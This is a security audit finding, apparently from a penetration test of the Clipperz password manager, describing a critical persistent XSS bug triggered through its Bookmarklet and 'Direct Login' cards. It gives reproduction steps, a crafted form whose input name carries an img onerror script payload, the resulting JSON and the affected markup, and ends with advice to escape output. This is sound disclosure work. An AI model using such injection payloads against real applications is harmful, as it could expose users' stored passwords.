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password-manager-mirror/doc/Vulnerabilities/CLP-01-014.txt

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CLP-01-014 Persistent XSS via Direct Login from Bookmarklet (Critical)
Caused by missing output filtering, an attacker can abuse the
Bookmarklet in combination with the creation of a new card of type
?Direct Login? to persistently infect a Clipperz account and get full
and transparent access to all data stored in the account including
passwords, keystrokes and other sensitive data.
Steps to Reproduce:
Navigate to a maliciously prepared Website
Use the Clipperz Bookmarklet
Copy the generated JSON to create a Card
Navigate to the Clipperz application
Create a new card of type ?Direct Login?
Paste the content and save (First XSS is triggerd)
Create the card (Second XSS is triggered)
Anytime the affected user navigates to the malicious card, the injected
JavaScript is executed. This thereby effectively ?trojanizes? the entire
Clipperz account and gives an attacker access to any of the stored cards
and related passwords in plaintext.
Example Markup for malicious page:
<body>
<form action=''>
<input name='username' type='text'>
<input name='password' type='password'>
<input name='"><img src=x onerror=alert(domain)>' value='bla'>
</form>
Resulting JSON:
{"page": {"title": ""},
"form": {"attributes": {"action": "http://attacked/",
"method": null},
"inputs": [{"type": "text",
"name": "username",
"value": "root"},
{"type": "password",
"name": "password",
"value": ""},
{"type": "text",
"name": "\"><img src=x onerror=alert(domain)>",
"value": "bla"}]},
"version": "0.2.3"}
Affected Markup in Clipperz application:
<tr id="elgen-1630"><td
class="directLoginBindingLabelTD"><span>"&gt;&lt;img src=x
onerror=alert(domain)&gt;</span></td><td
class="directLoginBindingValueTD"><div style="display: none;"
id="Clipperz_PM_Components_Panels_editModeBox_3947"><select
id="Clipperz_PM_Components_Panels_select_3948"><option
value="null">---</option><option
value="014ab7a3d138834f883b0742857cd906fd1902e5c42303348fa181eb568695c1">username</option><option
value="8e63b43adc66c2efb1ad9b61aa0e7184f12545eeb163ce076cbae05d5d6e0a45">password</option><option
value="01a2b7d792deb70d98ad5f1bb0b3afd89de20554ba606be2662531c20dd6fd48"
selected="true">"&gt;&lt;img src=x
onerror=alert(domain)&gt;</option></select></div><div style="display:
block;" id="Clipperz_PM_Components_Panels_viewModeBox_3949"><span
id="Clipperz_PM_Components_Panels_viewValue_3950">"&gt;<img src="x"
onerror="alert(domain)"></span></div></td></tr>
It is highly recommended to escape and filter any output and consider
the pages to pull login data from to be an adversary as well. Especially
the content of the name field and other attributes of form elements
should not be considered trusted as they can contain malicious data -
similar to the form element?s value. All special HTML characters need to
be converted into their corresponding HTML entities before displaying
them to the user.